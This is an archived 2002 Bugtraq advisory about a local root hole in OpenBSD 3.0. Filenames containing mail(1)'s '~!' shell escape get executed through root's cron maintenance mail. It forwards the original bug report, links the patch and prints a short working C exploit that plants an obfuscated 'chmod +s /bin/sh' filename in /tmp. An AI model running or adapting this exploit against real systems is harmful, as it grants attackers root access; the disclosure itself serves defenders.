Bugtraq: local root compromise in openbsd 3.0 and below

[Przemyslaw Frasunek <venglin () freebsd lublin pl>]

There is a local root compromise in OpenBSD 3.0-current (and below, before 8 Apr
2002). 

Full problem report and exploit below. FreeBSD is not vulnerable.

----- Forwarded message from urbanek () openbsd cz -----

From: urbanek () openbsd cz
To: gnats () openbsd org
Subject: user/2536: possible root compromise using /usr/bin/mail 

> Number:         2536
> Category:       user
> Synopsis:       crontab entry allows possible arbitrary comand execution
> Confidential:   yes
> Severity:       critical
> Priority:       high
> Responsible:    bugs
> State:          open
> Class:          sw-bug
> Submitter-Id:   net
> Arrival-Date:   Mon Apr  8 13:30:02 MDT 2002
> Last-Modified:
> Originator:     Milos Urbanek
> Organization:
> Release:        all relases including CURRENT
> Environment:
        
        System      : OpenBSD 3.0
        Architecture: OpenBSD.i386
        Machine     : i386
> Description:
        program /usr/bin/mail allows a special escape sequence to
        be specified in the body of an email; this escape sequence
        specifies a shell comand to be executed

        as mentioned in mail(1):

~!command
             Execute the indicated shell command, then return to the message.


        Problem:
        default root crontab entry looks like:

        # do daily/weekly/monthly maintenance
# on monday only (techie)
30      1       *       *       1       /bin/sh /etc/daily 2>&1 | tee /var/log/d
aily.out | mail -s "`/bin/hostname` daily output" root
30      3       *       *       6       /bin/sh /etc/weekly 2>&1 | tee /var/log/
weekly.out | mail -s "`/bin/hostname` weekly output" root
30      5       1       *       *       /bin/sh /etc/monthly 2>&1 | tee /var/log/monthly.out | mail -s "`/bin/hostname` 
monthly output" root


        If there is something in files /etc/daily, /etc/weekly or /etc/monthly
        which could enable the attacker to insert its own input,
        like a malformed filename

         chiba:5$ touch \~!haha
         chiba:6$ ls -al *haha*
        -rw-r--r--  1 milos  milos  0 Apr  8 19:30 ~!haha

        or by other means like output from log files under /var/log,

        the attacker can execute arbitrary comand running under root
        privileges which can lead to the root compromise.


> How-To-Repeat:
        read the man page, and see above
[...]

----- End forwarded message -----

Patch: http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/mail/collect.c.diff?r1=1.23&r2=1.24

Exploit:

/*
 * (c) 2002 venglin () freebsd lublin pl
 *
 * OpenBSD 3.0 (before 08 Apr 2002)
 * /etc/security + /usr/bin/mail local root exploit
 *
 * Run the exploit and wait for /etc/daily executed from crontab.
 * /bin/sh will be suid root next day morning.
 *
 * Credit goes to urbanek () openbsd cz for discovering vulnerability.
 *
 */

#include <fcntl.h>

int main(void)
{
        int fd;

        chdir("/tmp");
        fd = open("\n~!chmod +s `perl -e 'print \"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777);

        if (fd) 
                close(fd);
}

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